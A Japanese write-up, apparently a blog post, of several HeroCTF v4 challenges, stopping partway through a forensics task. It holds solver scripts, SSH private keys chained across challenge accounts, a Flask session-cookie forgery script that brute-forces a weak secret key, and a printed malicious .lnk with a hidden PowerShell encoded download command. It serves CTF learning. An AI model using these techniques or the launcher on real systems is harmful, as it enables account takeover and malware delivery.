HeroCTF v4 Writeup

この大会は2022/5/28 6:00(JST)~2022/5/30 8:00(JST)に開催されました。
今回もチームで参戦。結果は1356点で435チーム中106位でした。
自分で解けた問題をWriteupとして書いておきます。

HeroGuessr#1 (Osint)

写真を縮小すると、以下のように書いてある行先掲示板がある。

・Plage de Portissol
・CENTRE VILLE


フランスでこのあたりの地図を見ると、ヴィクトラン・ブラン公園がある。

Hero{Parc Victorin Blanc}

Heist (Prog)

サーバの処理概要は以下の通り。

・ctf_player = account(10, "ctf_player")
 ・ctf_player.balance = 10
 ・ctf_player.user = "ctf_player"
・BANK = account(100, "Bank")
 ・BANK.balance = 100
 ・BANK.user = Bank"
・menu = "dashboard"
・menuが"quit"でない限り以下繰り返し
 ・menuが"dashboard"の場合
  ・option: メニュー選択
  ・optionが1の場合、menu = "store"
  ・optionが2の場合、menu = "transfer"
  ・optionが3の場合、menu = "quit"
 ・menuが"store"の場合
  ・option: メニュー選択
  ・optionが1の場合
   ・ctf_player.balanceが100以上の場合
    ・フラグを表示
    ・Enter入力受付
    ・menu = "quit"
   ・ctf_player.balanceが100未満の場合
    ・Enter入力受付
    ・menu = "store"
  ・optionが2の場合
   ・menu = "dashboard"
 ・menuが"transfer"の場合
  ・amount: 数値入力
  ・ctf_player.wireMoney(amount, BANK)
   ・amountがctf_player.balanceより大きい場合、Falseを返す。
   ・amountがctf_player.balance以下の場合
    ・ctf_player.balance: amount減少
    ・BANK.balance: amount増加
    ・Trueを返す。
   ・menu = "dashboard"
   ・Enter入力受付

"transfer"でamountに-90を指定すれば、100になる。あとは"store"でフラグを表示させることができる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('prog.heroctf.fr', 7001))

for _ in range(10):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'>> ')
print(data + '2')
s.sendall(b'2\n')

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

amount = -90
data = recvuntil(s, b'>> ')
print(data + str(amount))
s.sendall(str(amount).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'...')
print(data)
s.sendall(b'\n')

for _ in range(10):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'>> ')
print(data + '1')
s.sendall(b'1\n')

for _ in range(8):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'>> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'...')
print(data)
s.sendall(b'\n')

実行結果は以下の通り。

        :
=== HeroStore ===

Welcome to the HeroStore !
Here you can buy all sorts of things. Sadly, our stocks suffered from our success, and only one item remains. It's therefore pretty expensive.

Choose an option :
1 - Fl4g (100$)
2 - Back to Dashboard
>> 1
Congratz ! Here is your item : Hero{ch3ck_4_n3g4t1v3s}
Press enter to continue...
Hero{ch3ck_4_n3g4t1v3s}

Overload (Prog)

たくさんの文字がランダムに並んでいる。フラグの形式から英小文字と"{}"のみ抽出する。

#!/usr/bin/env python3
import string

with open('overload.txt', 'r') as f:
    data = f.read()

flag = ''
for d in data:
    if d in string.ascii_lowercase + '{}':
        flag += d
print(flag)
hero{wellplayedprogmaster}

Pixel Poney (Prog)

RGBが並んでいて、幅が3500ピクセルとわかっているので、それを元に画像を構成する。

#!/usr/bin/env python3
from PIL import Image

with open('input.txt', 'r') as f:
    data = f.read().split('-')

WIDTH = 3500
HEIGHT = len(data) // WIDTH

img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

for i in range(len(data)):
    x = i % WIDTH
    y = i // WIDTH
    rgb = data[i].split(',')
    img.putpixel((x, y), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

img.save('image.png')


画像にはフラグが見当たらない。7バイトごとに縦に線が入っているので、その部分だけ取り出し、結合する。

#!/usr/bin/env python3
from PIL import Image

with open('input.txt', 'r') as f:
    data = f.read().split('-')

WIDTH = 3500
HEIGHT = len(data) // WIDTH

img = Image.new('RGB', (WIDTH // 7, HEIGHT), (255, 255, 255))

for i in range(len(data)):
    x = i % WIDTH
    y = i // WIDTH
    rgb = data[i].split(',')
    if x % 7 == 0:
        img.putpixel((x // 7, y), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

img.save('flag.png')

この結果、画像にフラグが書いてあった。

Hero{So_You_reconstrukted_the_imAge_??}

SSHs (Prog)

$ ssh user1@chall.heroctf.fr -p 10054
The authenticity of host '[chall.heroctf.fr]:10054 ([139.177.182.251]:10054)' can't be established.
ECDSA key fingerprint is SHA256:zOy/NZZMKjxq86/iAiQO3kIHLiKABWVOilWVD10Nvjo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[chall.heroctf.fr]:10054,[139.177.182.251]:10054' (ECDSA) to the list of known hosts.
user1@chall.heroctf.fr's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.10.0-13-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

user1@d9638cd38952:~$ ls -la
total 48
drwxr-xr-x 1 user1 user1  4096 May 28 12:53 .
drwxr-xr-x 1 root  root   4096 May 28 10:21 ..
-rw-r--r-- 1 user1 user1   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 user1 user1  3771 Feb 25  2020 .bashrc
drwx------ 2 user1 user1  4096 May 28 12:53 .cache
-rw-r--r-- 1 user1 user1   807 Feb 25  2020 .profile
-rwsr-sr-x 1 user2 root  18416 May 28 10:18 getSSHKey
user1@d9638cd38952:~$ ./getSSHKey
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

この秘密鍵を使って、user2でログインする。その後は秘密鍵を使って次のユーザでログインすることを繰り返す。

#!/usr/bin/env python3
import subprocess

HOST = 'chall.heroctf.fr'
PORT = 10054
PRIVKEY = 'privkey.pem'

def ssh_exec_cmd(user, remote_cmd=''):
    cmd_format = 'ssh -i %s %s@%s -p %d %s'
    if remote_cmd == '':
        cmd = cmd_format % (PRIVKEY, user, HOST, PORT, './getSSHKey')
    else:
        cmd = cmd_format % (PRIVKEY, user, HOST, PORT, remote_cmd)
    ret = subprocess.run(cmd.split(' '), capture_output=True, text=True)
    if remote_cmd == '':
        privkey = ret.stdout
        print('[+] **** private key ****')
        print(privkey)
        with open(PRIVKEY, 'wb') as f:
            f.write(privkey.encode())
    else:
        flag = ret.stdout
        print('[*] flag:', flag)

for i in range(2, 250):
    user = 'user%d' % i
    print('[+] user:', user)
    ssh_exec_cmd(user)

user = 'user250'
print('[+] user:', user)
ssh_exec_cmd(user, 'cat flag.txt')

実行結果は以下の通り。

[+] user: user2
[+] **** private key ****
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

        :
        :

[+] user: user249
[+] **** private key ****
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

[+] user: user250
[*] flag: Hero{Th47_w3RE_4_l0t_Of_uS3rS}
Hero{Th47_w3RE_4_l0t_Of_uS3rS}

SmallMistakeBigMistake (Web)

app.secret_keyが22パターンしかないので、総当たりでsession情報を生成し、クッキーにセットしてリクエストする。

#!/usr/bin/env python3
from flask import Flask, session
from flask.sessions import SecureCookieSessionInterface
from string import hexdigits
import requests
import re

url = 'https://smallbigmistake.web.heroctf.fr/'
session = {'username': 'admin'}

for h in hexdigits:
    app = Flask(__name__)
    app.secret_key = h * 32
    scsi = SecureCookieSessionInterface()
    signingSerializer = scsi.get_signing_serializer(app)
    cookie_session = signingSerializer.dumps(session)
    cookies = {'session': cookie_session}
    r = requests.get(url, cookies=cookies)
    if 'not admin' not in r.text:
        pattern = '(Hero\{.+\})'
        m = re.search(pattern, r.text)
        flag = m.group(1)
        print(flag)
        break
Hero{Sm4ll_Mist4ke_c4n_be_d4ngerous_10853085}

Where all problems starts 1/4 (Forensics)

$ file usb.dump
usb.dump: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 62, heads 124, hidden sectors 32, sectors 7831282 (volumes > 32 MB), FAT (32 bit), sectors/FAT 7640, reserved 0x1, serial number 0x9c286c52, unlabeled

$ img_stat usb.dump
IMAGE FILE INFORMATION
--------------------------------------------
Image Type: raw

Size in bytes: 4009623552
$ fsstat -i raw usb.dump
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: FAT32

OEM Name: mkfs.fat
Volume ID: 0x9c286c52
Volume Label (Boot Sector): NO NAME    
Volume Label (Root Directory):
File System Type Label: FAT32   
Next Free Sector (FS Info): 15320
Free Sector Count (FS Info): 7815952

Sectors before file system: 32

File System Layout (in sectors)
Total Range: 0 - 7831281
* Reserved: 0 - 31
** Boot Sector: 0
** FS Info Sector: 1
** Backup Boot Sector: 6
* FAT 0: 32 - 7671
* FAT 1: 7672 - 15311
* Data Area: 15312 - 7831281
** Cluster Area: 15312 - 7831279
*** Root Directory: 15312 - 15319
** Non-clustered: 7831280 - 7831281

METADATA INFORMATION
--------------------------------------------
Range: 2 - 125055526
Root Directory: 2

CONTENT INFORMATION
--------------------------------------------
Sector Size: 512
Cluster Size: 4096
Total Cluster Range: 2 - 976997

FAT CONTENTS (in sectors)
--------------------------------------------
15312-15319 (8) -> EOF
15328-15335 (8) -> EOF
$ fls -i raw -f fat32 usb.dump
r/r * 5:	Important_Document.lnk
r/r 7:	README.txt
v/v 125055523:	$MBR
v/v 125055524:	$FAT1
v/v 125055525:	$FAT2
d/d 125055526:	$OrphanFiles
$ icat -i raw -f fat32 usb.dump 5 > Important_Document.lnk

lnkのリンク先は以下のようになっていて、途中で切れている。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Nop -sta -noni -w hidden -encodedCommand YwBkACAAQwA6AFwAVQBzAGUAcgBzAFwAVwBvAHIAdAB5AFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFU

バイナリエディタで確認し、該当するbase64文字列を切り出し、デコードする。

